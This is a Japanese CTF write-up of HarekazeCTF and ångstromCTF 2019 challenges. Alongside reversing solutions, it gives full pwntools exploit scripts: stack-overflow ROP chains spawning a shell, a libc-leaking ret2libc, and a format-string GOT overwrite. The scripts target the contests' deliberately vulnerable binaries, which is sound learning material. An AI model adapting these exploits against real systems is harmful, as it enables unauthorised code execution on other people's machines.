変数の名前を自分で変えたりしたが、あまりデコンパイラ使って解析をしたことがなかったので、名前のつけ方がナンセンスすぎた。input[]などと配列っぽく名付けてしまったために、その値が動的に変化するものだと自分でも勘違いしてしまい、かなりデコードするコードを書くのに手間がかかった。
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> char encrypted[38] = {0x1f, 0x7c, 0x2c, 0x46, 0x2f, 0x44, 0x02, 0x0e, 0x6c, 0x29, 0x2a, 0x73, 0x79, 0x31, 0x04, 0x1b, 0x50, 0x6e, 0x6b, 0x6e, 0x34, 0x3d, 0x27, 0x77, 0x7a, 0x6d, 0x58, 0x12, 0x39, 0x6c, 0x2f, 0x7f, 0x23, 0x0b, 0x2c, 0x5a, 0x77, 0x3d}; int table[1064/4]; int main(){ int i; int fd = open("./scramble", O_RDONLY); if(fd < 0){ printf("open error\n"); exit(1); } lseek(fd, 0x1060, 0); for(i = 0; i < 1064/4; i++){ tmp = 0; read(fd, &table[i], 4); } char flag1, flag2; unsigned int var2, var3; for(i = 0x10a-1; i >= 0;i-- ){ var2 = 1 << (i%7); var3 = 1 << (table[i]%7); if(encrypted[table[i]/7] & var3)flag1 = 1; else flag1 = 0; if(encrypted[i/7] & var2)flag2 = 1; else flag2 = 0; if(flag1) encrypted[i/7] |= var2; else encrypted[i/7] &= ~var2; if(flag2) encrypted[table[i]/7] |= var3; else encrypted[table[i]/7] &= ~var3; } printf("%s\n", encrypted); return 0; }
FLAG:HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}
Pwn
Baby ROP(100pt)
問題文
The program is running on Ubuntu 16.04.
静的解析
$file babyrop babyrop: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=b5a3b2575c451140ec967fd78cf8a60f2b7ef17f, not stripped $checksec.sh --file ./babyrop RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH babyrop
省略するがgdbで見るとbofの脆弱性。問題バイナリ内にsystem関数のpltと/bin/shの文字列があったので、それを利用してropする。またrpでpop rdiのガジェットを探す。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "problem.harekaze.com" PORT = 20001 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./babyrop') bufsize = 0x10 + 8 system_plt = 0x400490 rdi_ret = 0x400683 binsh = 0x601048 payload = "A"*bufsize payload += p64(rdi_ret) payload += p64(binsh) payload += p64(system_plt) conn.recvuntil('name?') conn.sendline(payload) conn.interactive()
FLAG:HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
Baby ROP2(200pt)
問題バイナリとlibcが配布される。
静的解析
$file babyrop2 babyrop2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=fab931b976ae2ff40aa1f5d1926518a0a31a8fd7, not stripped $checksec.sh --file ./babyrop2 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ./babyrop2
またしてもbofの脆弱性。問題文の通り。しかし、先ほどと違ってsystem@pltはなく、/bin/shの文字列のバイナリ内にはない。
方針はprintf("%s", setvbuf@got)にreturnするように引数をセットして、libcのベースを求めつつ、その後main関数にreturnするようにする。
二回目のmain関数で求めたlibcのベースから計算したsystemのアドレスとlibc内の/bin/shのアドレスを使用してsystem("/bin/sh")を呼び出す
コードとても汚くて、一連の流れを関数にしてやったほうがいいとは思ったんだが、そんなに長くもならそうなので愚直に書いた。許してください。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' HOST = "problem.harekaze.com" PORT = 20005 conn = None if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process('./babyrop2') printf_plt = 0x4004f0 setvbuf_got = 0x601030 main_addr = 0x400636 buf_size = 0x20+8 #in libc.so.6 binsh_off = 0x18cd57 system_off = 0x45390 setvbuf_off = 0x6fe70 rdi_ret = 0x400733 rsi_r15_ret = 0x400731 ps = 0x400770 # strings including "%s" payload = "A"*buf_size payload += p64(rdi_ret) payload += p64(ps) payload += p64(rsi_r15_ret) payload += p64(setvbuf_got) payload += p64(0) payload += p64(printf_plt) payload += p64(main_addr) conn.recvuntil('name? ') conn.sendline(payload) conn.recvline() info = conn.recvline() setvbuf_libc = info.split(", ")[1].split("!")[0] setvbuf_libc = u64(setvbuf_libc + "\x00"*(8-len(setvbuf_libc))) libc_base = setvbuf_libc - setvbuf_off system_libc = libc_base + system_off binsh_libc = libc_base + binsh_off conn.recvuntil('name? ') payload = "A"*buf_size payload += p64(rdi_ret) payload += p64(binsh_libc) payload += p64(system_libc) conn.sendline(payload) conn.interactive()
FLAG:HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
ん、use bss segmentか。他の回答としてはread関数にreturnしてbss領域の固定番地に/bin/shを書き込んでそれを使うってのもありそう。まああんまり変わらないけど。
まとめ
開催期間時間があまり割けず、これ以外の問題も少し見たんだが、時間がこれよりかかりそうだと思いじっくりと考えることができなかった。時間がたっぷりあればあまり解かれていないpwnの問題とかも挑戦して見たかった(解けるとは言っていない)。
Harekazeさん開催ありがとうございました。とても楽しかった。
ångstromCTF writeup
ångstromCTFで僕が解いた問題のwriteup
pwnとrevとmiscを少しずつ
今回のctfはpicoctfの時みたいに各チームにアカウントが配られログインできるサーバーがある。そこに色々問題が置かれている。
ブラウザからもログインできるシェルもある。
Rev
Intro to Rev(10pt)
とりあえずログインして実行すると、どうすればいいか書いてあった。
team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. To get the flag for this problem, run this file again with the arguments 'binary' and 'reversing' (don't put the quotes). team***@actf:/problems/2019/intro_to_rev$ ./intro_to_rev binary reversing Welcome to your first reversing challenge! If you are seeing this, then you already ran the file! Let's try some input next. Enter the word 'angstrom' to continue: angstrom Good job! Some programs might also want you to enter information with a command line argument. When you run a file, command line arguments are given by running './introToRev argument1 argument2' where you replace each argument with a desired string. Good job, now go solve some real problems! actf{this_is_only_the_beginning}
FLAG:actf{this_is_only_the_beginning}
I Like It(40pt)
バイナリが配られるので読む。
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev$ file ./i_like_it ./i_like_it: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=aacf2043e5e2bf56d4b871b4ca1695b2db440a01, not stripped
とりあえずgdbで読む。
gdb-peda$pdisas main ... ... 0x0000000000400791 <+42>: mov rdx,QWORD PTR [rip+0x2008d8] # 0x601070 <stdin@@GLIBC_2.2.5> 0x0000000000400798 <+49>: lea rax,[rbp-0x20] 0x000000000040079c <+53>: mov esi,0x14 0x00000000004007a1 <+58>: mov rdi,rax 0x00000000004007a4 <+61>: call 0x400640 <fgets@plt> 0x00000000004007a9 <+66>: lea rax,[rbp-0x20] 0x00000000004007ad <+70>: mov rdi,rax 0x00000000004007b0 <+73>: call 0x400610 <strlen@plt> 0x00000000004007b5 <+78>: sub rax,0x1 0x00000000004007b9 <+82>: mov BYTE PTR [rbp+rax*1-0x20],0x0 0x00000000004007be <+87>: lea rax,[rbp-0x20] 0x00000000004007c2 <+91>: lea rsi,[rip+0x1a8] # 0x400971 0x00000000004007c9 <+98>: mov rdi,rax 0x00000000004007cc <+101>: call 0x400650 <strcmp@plt> 0x00000000004007d1 <+106>: test eax,eax 0x00000000004007d3 <+108>: je 0x4007eb <main+132> 0x00000000004007d5 <+110>: lea rdi,[rip+0x19f] # 0x40097b 0x00000000004007dc <+117>: call 0x400600 <puts@plt> 0x00000000004007e1 <+122>: mov edi,0x0 0x00000000004007e6 <+127>: call 0x400670 <exit@plt> 0x00000000004007eb <+132>: lea rdi,[rip+0x1a0] # 0x400992 0x00000000004007f2 <+139>: call 0x400600 <puts@plt> 0x00000000004007f7 <+144>: lea rdi,[rip+0x1b2] # 0x4009b0 0x00000000004007fe <+151>: call 0x400600 <puts@plt> 0x0000000000400803 <+156>: mov rdx,QWORD PTR [rip+0x200866] # 0x601070 <stdin@@GLIBC_2.2.5> 0x000000000040080a <+163>: lea rax,[rbp-0x2c] 0x000000000040080e <+167>: mov esi,0xc 0x0000000000400813 <+172>: mov rdi,rax 0x0000000000400816 <+175>: call 0x400640 <fgets@plt> 0x000000000040081b <+180>: lea rcx,[rbp-0x30] 0x000000000040081f <+184>: lea rdx,[rbp-0x34] 0x0000000000400823 <+188>: lea rax,[rbp-0x2c] 0x0000000000400827 <+192>: lea rsi,[rip+0x1bf] # 0x4009ed 0x000000000040082e <+199>: mov rdi,rax 0x0000000000400831 <+202>: mov eax,0x0 0x0000000000400836 <+207>: call 0x400660 <__isoc99_sscanf@plt> 0x000000000040083b <+212>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040083e <+215>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400841 <+218>: add eax,edx 0x0000000000400843 <+220>: cmp eax,0x88 0x0000000000400848 <+225>: jne 0x400864 <main+253> 0x000000000040084a <+227>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040084d <+230>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400850 <+233>: imul eax,edx 0x0000000000400853 <+236>: cmp eax,0xec7 0x0000000000400858 <+241>: jne 0x400864 <main+253> 0x000000000040085a <+243>: mov edx,DWORD PTR [rbp-0x34] 0x000000000040085d <+246>: mov eax,DWORD PTR [rbp-0x30] 0x0000000000400860 <+249>: cmp edx,eax 0x0000000000400862 <+251>: jl 0x40087a <main+275> ... gdb-peda$ x/15s 0x400971 0x400971: "okrrrrrrr" 0x40097b: "Cardi don't lik"... 0x40098a: "e that." 0x400992: "I said I like i"... 0x4009a1: "t like that!" 0x4009ae: "" 0x4009af: "" 0x4009b0: "I like two inte"... 0x4009bf: "gers that I'm t"... 0x4009ce: "hinking of (spa"... 0x4009dd: "ce separated): " 0x4009ec: "" 0x4009ed: "%d %d" 0x4009f3: "Flag: actf{%s_%"... 0x400a02: "d_%d}\n"
最初のfgetsで0x400971からの文字列と比較、一致すれば、fgetsからの入力をsscanfのフォーマット"%d %d"で二つの10進数を入力する。二つの入力をa,bとするとそのあとのアセンブリより
a+b = 0x88
a*b = 0xec7
a < bであることがわかるのでこれを解く。a = 39, b = 97
FLAG:actf{okrrrrrrr_39_97}
One Bite(60pt)
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/one_b$ file one_bite one_bite: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f2e0bf29ac3cda06d867b815711a05358eab373, not stripped
ディスアセンブルで大事なところを載せる
gdb-peda$pdisas main ... ... 0x00000000004006a2 <+43>: mov rdx,QWORD PTR [rip+0x2009a7] # 0x601050 <stdin@@GLIBC_2.2.5> 0x00000000004006a9 <+50>: lea rax,[rbp-0x40] 0x00000000004006ad <+54>: mov esi,0x22 0x00000000004006b2 <+59>: mov rdi,rax 0x00000000004006b5 <+62>: call 0x400570 <fgets@plt> 0x00000000004006ba <+67>: mov DWORD PTR [rbp-0x4c],0x0 0x00000000004006c1 <+74>: jmp 0x4006df <main+104> 0x00000000004006c3 <+76>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006c6 <+79>: cdqe 0x00000000004006c8 <+81>: movzx eax,BYTE PTR [rbp+rax*1-0x40] 0x00000000004006cd <+86>: xor eax,0x3c 0x00000000004006d0 <+89>: mov edx,eax 0x00000000004006d2 <+91>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006d5 <+94>: cdqe 0x00000000004006d7 <+96>: mov BYTE PTR [rbp+rax*1-0x40],dl 0x00000000004006db <+100>: add DWORD PTR [rbp-0x4c],0x1 0x00000000004006df <+104>: mov eax,DWORD PTR [rbp-0x4c] 0x00000000004006e2 <+107>: movsxd rbx,eax 0x00000000004006e5 <+110>: lea rax,[rbp-0x40] 0x00000000004006e9 <+114>: mov rdi,rax 0x00000000004006ec <+117>: call 0x400550 <strlen@plt> 0x00000000004006f1 <+122>: cmp rbx,rax 0x00000000004006f4 <+125>: jb 0x4006c3 <main+76> 0x00000000004006f6 <+127>: lea rax,[rip+0x103] # 0x400800 0x00000000004006fd <+134>: mov QWORD PTR [rbp-0x48],rax 0x0000000000400701 <+138>: mov rdx,QWORD PTR [rbp-0x48] 0x0000000000400705 <+142>: lea rax,[rbp-0x40] 0x0000000000400709 <+146>: mov rsi,rdx 0x000000000040070c <+149>: mov rdi,rax 0x000000000040070f <+152>: call 0x400580 <strcmp@plt> ... ... gdb-peda$ x/34bx 0x400800 0x400800: 0x5d 0x5f 0x48 0x5a 0x47 0x55 0x63 0x48 0x400808: 0x54 0x55 0x52 0x57 0x63 0x55 0x51 0x63 0x400810: 0x5b 0x53 0x55 0x52 0x5b 0x63 0x48 0x53 0x400818: 0x63 0x5e 0x59 0x63 0x4f 0x55 0x5f 0x57 0x400820: 0x41 0x00
入力を1文字ずつ^=0x3cして、0x400800と比較している。つまりこういうことだ。
#include <stdio.h> #include <string.h> #include <stdlib.h> int main() { char flag [0x21] = {0x5d, 0x5f, 0x48, 0x5a, 0x47, 0x55, 0x63, 0x48, 0x54, 0x55, 0x52, 0x57, 0x63, 0x55, 0x51, 0x63, 0x5b ,0x53, 0x55, 0x52, 0x5b, 0x63, 0x48, 0x53, 0x63, 0x5e ,0x59, 0x63, 0x4f, 0x55, 0x5f, 0x57, 0x41}; int i ; for(i = 0; i < 0x21; i++){ printf("%c", flag[i] ^ 0x3c); } printf("\n"); return 0; }
flagの配列はこのくらいの長さなら手で打ち込めるが、長い場合はopenやlseek等を使って抽出した方がもちろんいい。
FLAG: actf{i_think_im_going_to_be_sick}
High Quality Checks(110pt)
fileコマンド
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/high_q_check$ file high_q high_q: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=e7556b55e0c73b4de8b3f387571dd59c3535a0ee, not stripped
これはもうゴリゴリ読んだ。関数がめちゃくちゃあったから大変だった。こういうのはangrみたいなシンボリック実行ツールがあると楽なんだが、まだ使いこなせていない。復習にangrで解こうと思う。
FLAG: actf忘れた
icthyo(130pt)
libpngを使った面白い問題だった。なんかリバースエンジニアリングって感じがした。結局はcrackmeと同じくinputの文字列に依存するものだったけども。
配られるファイルは実行バイナリとout.png
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ file icthyo icthyo: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a390bbd4f8eff8fbbd02411a754ded08162de918, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/rev/ict$ ./icthyo USAGE: ./icthyo in.png out.png
第一引数にpngファイルを指定し、第3引数のファイル名でpngファイルを作成するようだ。今回は作成されたout.pngが配られたみたい。
gdbで見るとread_file関数でin.pngを読み込んで、pngファイルを扱う構造体の初期化を行う感じ、encode関数で読み込んだpngファイルのbitをいじる。write_file関数でいじったやつを新たにpngファイルとして作成する、って感じだ。
encode関数のなかでrandom関数とかを呼んだりしているが、そこの部分は関係なくて、fgetsの入力でbitが操作される部分を見れば十分。大事な部分のディスアセンブリを載せる。
gdb-peda$ pdisas encode .... .... 0x0000000000401025 <+338>: mov DWORD PTR [rbp-0x130],0x0 0x000000000040102f <+348>: jmp 0x401104 <encode+561> 0x0000000000401034 <+353>: mov edx,DWORD PTR [rbp-0x130] 0x000000000040103a <+359>: mov eax,edx 0x000000000040103c <+361>: add eax,eax 0x000000000040103e <+363>: add eax,edx 0x0000000000401040 <+365>: shl eax,0x5 0x0000000000401043 <+368>: movsxd rdx,eax 0x0000000000401046 <+371>: mov rax,QWORD PTR [rbp-0x128] 0x000000000040104d <+378>: add rax,rdx 0x0000000000401050 <+381>: mov QWORD PTR [rbp-0x120],rax 0x0000000000401057 <+388>: mov eax,DWORD PTR [rbp-0x138] 0x000000000040105d <+394>: cdqe 0x000000000040105f <+396>: movzx eax,BYTE PTR [rbp+rax*1-0x110] 0x0000000000401067 <+404>: movsx edx,al 0x000000000040106a <+407>: mov eax,DWORD PTR [rbp-0x130] 0x0000000000401070 <+413>: mov ecx,eax 0x0000000000401072 <+415>: sar edx,cl 0x0000000000401074 <+417>: mov eax,edx 0x0000000000401076 <+419>: and eax,0x1 0x0000000000401079 <+422>: mov DWORD PTR [rbp-0x12c],eax 0x000000000040107f <+428>: mov rax,QWORD PTR [rbp-0x120] 0x0000000000401086 <+435>: add rax,0x2 0x000000000040108a <+439>: movzx eax,BYTE PTR [rax] 0x000000000040108d <+442>: movzx eax,al 0x0000000000401090 <+445>: and eax,0x1 0x0000000000401093 <+448>: test eax,eax 0x0000000000401095 <+450>: je 0x4010b5 <encode+482> 0x0000000000401097 <+452>: mov rax,QWORD PTR [rbp-0x120] 0x000000000040109e <+459>: add rax,0x2 0x00000000004010a2 <+463>: movzx edx,BYTE PTR [rax] 0x00000000004010a5 <+466>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010ac <+473>: add rax,0x2 0x00000000004010b0 <+477>: xor edx,0x1 0x00000000004010b3 <+480>: mov BYTE PTR [rax],dl 0x00000000004010b5 <+482>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010bc <+489>: add rax,0x2 0x00000000004010c0 <+493>: movzx eax,BYTE PTR [rax] 0x00000000004010c3 <+496>: mov ecx,eax 0x00000000004010c5 <+498>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010cc <+505>: movzx edx,BYTE PTR [rax] 0x00000000004010cf <+508>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010d6 <+515>: add rax,0x1 0x00000000004010da <+519>: movzx eax,BYTE PTR [rax] 0x00000000004010dd <+522>: xor eax,edx 0x00000000004010df <+524>: and eax,0x1 0x00000000004010e2 <+527>: mov edx,eax 0x00000000004010e4 <+529>: mov eax,DWORD PTR [rbp-0x12c] 0x00000000004010ea <+535>: xor eax,edx 0x00000000004010ec <+537>: or ecx,eax 0x00000000004010ee <+539>: mov edx,ecx 0x00000000004010f0 <+541>: mov rax,QWORD PTR [rbp-0x120] 0x00000000004010f7 <+548>: add rax,0x2 0x00000000004010fb <+552>: mov BYTE PTR [rax],dl 0x00000000004010fd <+554>: add DWORD PTR [rbp-0x130],0x1 0x0000000000401104 <+561>: cmp DWORD PTR [rbp-0x130],0x7 0x000000000040110b <+568>: jle 0x401034 <encode+353> 0x0000000000401111 <+574>: add DWORD PTR [rbp-0x138],0x1 0x0000000000401118 <+581>: cmp DWORD PTR [rbp-0x138],0xff 0x0000000000401122 <+591>: jle 0x400f3f <encode+108> 0x0000000000401128 <+597>: nop ... ... ...
libpngのpng_infoやpng_structについての詳細は省略する。実行バイナリに倣って、使ったこともないlibpngを使ってsolve.cを書こう。
//solve.c #include <stdio.h> #include <stdlib.h> #include <png.h> int main(int argc, char** argv) { FILE* fp; png_structp png_ptr; png_infop info_ptr; unsigned long width, height; unsigned long** rows; int i, j, k; fp = fopen(argv[1], "rb"); png_ptr = png_create_read_struct("1.6.34", 0, 0, 0); info_ptr = png_create_info_struct(png_ptr); png_init_io(png_ptr, fp); png_read_info(png_ptr,info_ptr); rows = (png_bytepp)malloc(0x800); for(i = 0; i <= 0xff; i++){ rows[i] = (png_bytep)malloc(png_get_rowbytes(png_ptr, info_ptr)); } png_read_image(png_ptr, rows); char* _x120; char tmp; char pt; for(i = 0; i <= 0xff; i++){ tmp = 0; pt = 0; for(k = 0; k <= 7; k++){ _x120 = (char*)(((unsigned long) *(rows+i)) + k*3*32); tmp = *(_x120+2) & 0x1; tmp ^= (*(_x120)^*(_x120+1))&0x1; pt |= tmp << k; } printf("%c", pt); } return 0; }
FLAG:actf{lurking_in_the_depths_of_random_bits}
pwn
Aquarium(50pt)
cのソースコードも配られ良心的。
バイナリ情報
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ checksec.sh --file aquarium RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH aquarium kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/aquarium$ file aquarium aquarium: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d83c04fed4657a5e5675412f5a2568c6850c0f70, not stripped
//aquarium.c #include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } struct fish_tank { char name[50]; int fish; int fish_size; int water; int width; int length; int height; }; struct fish_tank create_aquarium() { struct fish_tank tank; printf("Enter the number of fish in your fish tank: "); scanf("%d", &tank.fish); getchar(); printf("Enter the size of the fish in your fish tank: "); scanf("%d", &tank.fish_size); getchar(); printf("Enter the amount of water in your fish tank: "); scanf("%d", &tank.water); getchar(); printf("Enter the width of your fish tank: "); scanf("%d", &tank.width); getchar(); printf("Enter the length of your fish tank: "); scanf("%d", &tank.length); getchar(); printf("Enter the height of your fish tank: "); scanf("%d", &tank.height); getchar(); printf("Enter the name of your fish tank: "); char name[50]; gets(name); strcpy(name, tank.name); return tank; } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); struct fish_tank tank; tank = create_aquarium(); if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) { printf("Your fish tank has overflowed!\n"); return 1; } printf("Nice fish tank you have there.\n"); return 0; }
getsの脆弱性。オーバーフローが起こせそう。リターンアドレスをflag関数にしてやる。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='***') conn.set_working_directory('/problems/2019/aquarium') pro = conn.process('./aquarium') flag_addr = 0x4011b6 payload = "A"*0x98 payload += p64(flag_addr) pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline("1") pro.recvuntil("tank: ") pro.sendline(payload) pro.interactive()
FLAG:actf{overflowed_more_than_just_a_fish_tank}
Chain of Rope(80pt)
またcのコード付き
バイナリ情報
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ file chain_of_rope chain_of_rope: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=064faad4fb2a3a1b7600f988df09e3d7dd9c44d5, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/chain$ checksec.sh --file chain_of_rope RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH chain_of_rope
//chain_of_rope.c #include <stdlib.h> #include <stdio.h> #include <string.h> int userToken = 0; int balance = 0; int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; } int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; } void getInfo () { printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); } int main() { char name [32]; printf("--== ROPE CHAIN BLACK MARKET ==--\n"); printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n"); printf("What would you like to do?\n"); printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0; }
またもやgetsがあるのでoverflowの脆弱性。flag関数の引数チェックを通るには、authorize()でグローバル変数userTokenをセットしたあとaddBalance(0xdeadbeef)を呼んでグローバル変数balanceをセットしたあとflag(0xba5eba11, 0xbeddab1e)を呼べば良い。
64bitバイナリなので引数はレジスタにセットする。rpでそのガジェットを検索してエクスプロイトコードを書く。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='****') conn.set_working_directory('/problems/2019/chain_of_rope') pro = conn.process('./chain_of_rope') flag_func = 0x4011eb auth_func = 0x401196 addb_func = 0x4011ab pop_rsi_r15 = 0x401401 pop_rdi = 0x401403 buf_size = 0x30 payload = "1" payload += "A"*buf_size payload += "A"*8 payload += p64(auth_func) payload += p64(pop_rdi) payload += p64(0xdeadbeef) payload += p64(addb_func) payload += p64(pop_rsi_r15) payload += p64(0xbedabb1e) payload += "A"*8 payload += p64(pop_rdi) payload += p64(0xba5eba11) payload += p64(flag_func) pro.recvuntil("access\n") pro.sendline(payload) pro.interactive()
FLAG:actf{dark_web_bargains}
この問題、問題文のバイナリと実際に動いているバイナリが少し違って、関数のアドレスだったりgetsの引数バッファの位置が違ってかなり困惑した。
今見たらまた変わってた。
Purchases(120pt)
cのコードついている。おそらくこのctf全部cソースがある。嬉しいね。
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ file purchases purchases: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=81d703c9e71c8e60af8bdd4515f6bada05bcbcf8, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/purchases$ checksec.sh --file ./purchases RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./purchases
//purchases.c #include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char item[60]; printf("What item would you like to purchase? "); fgets(item, sizeof(item), stdin); item[strlen(item)-1] = 0; if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("You don't have any money to buy "); printf(item); printf("s. You're wasting your time! We don't even sell "); printf(item); printf("s. Leave this place and buy "); printf(item); printf(" somewhere else. "); } printf("Get out!\n"); return 0; }
printfのfsbがある。3つも。そんなにいらないが。
注意すべきはfgetsのあと最後の文字をnull文字にしていること。これに気がつかず、かなり時間をとった。
mainの最後のprintfはコンパイルするとputsになっていたので、puts@gotをflag関数に書き換える。
第8引数からがitem変数の先頭をさしていた。
from pwn import * context(os='linux', arch='i386') context.log_level = 'debug' conn = ssh(host='shell.actf.co', user='team***', password='****') conn.set_working_directory('/problems/2019/purchases') pro = conn.process('./purchases') puts_got= 0x404018 flag_func = 0x4011b6 target_off = 0x20 first = flag_func >> 16 second = (flag_func & 0xffff) - first payload = "%" + str(8+target_off/8) +"$n" payload += "%" + str(first) + "x" payload += "%" + str(8+target_off/8+1) + "$hn" payload += "%" + str(second) + "x" payload += "%" + str(8+target_off/8+2) + "$hn" payload += "A" * (target_off - len(payload)) payload += p64(0xff404018+4) #0xff will be replaced in 0x00 payload += p64(puts_got+2) payload += p64(puts_got) pro.recvuntil("purchase? ") pro.sendline(payload) pro.interactive()
FLAG:actf{limited_edition_flag}
Returns(160pt)
この問題ではバイナリ、cソースコードに加えて、libcも配られた。まあサーバー上のlibcのバージョンのものであろう。
kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ file returns returns: setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=64f74f862ba5864cb66351be406d4f1d1d07a3b6, not stripped kam1tsur3@kam1tsur3-VirtualBox:~/ctf/angstrom/pwn/returns$ checksec.sh --file ./returns RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled Not an ELF file No RPATH No RUNPATH ./returns
#include <stdlib.h> #include <stdio.h> #include <string.h> int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char item[50]; printf("What item would you like to return? "); fgets(item, 50, stdin); item[strlen(item)-1] = 0; if (strcmp(item, "nothing") == 0) { printf("Then why did you even come here? "); } else { printf("We didn't sell you a "); printf(item); printf(". You're trying to scam us! We don't even sell "); printf(item); printf("s. Leave this place and take your "); printf(item); printf(" with you. "); } printf("Get out!\n"); return 0; }
上のpurchaseの問題とかなり類似している。異なる点はitemの長さが短くなったことやflag関数がなくなった点がある。同じくprintfのfsbが存在し、mainの最後のprintfはputsでコンパイルされている。
流れとしてはputs@gotをmain関数に書き換え、main関数がループするようにする。その後どこか適当なgot領域をprintfで読み出し、libcのbaseを計算し、strlen@gotをsystemに書き換え、fgetsで"/bin/sh"を入力し、strlenに渡す。
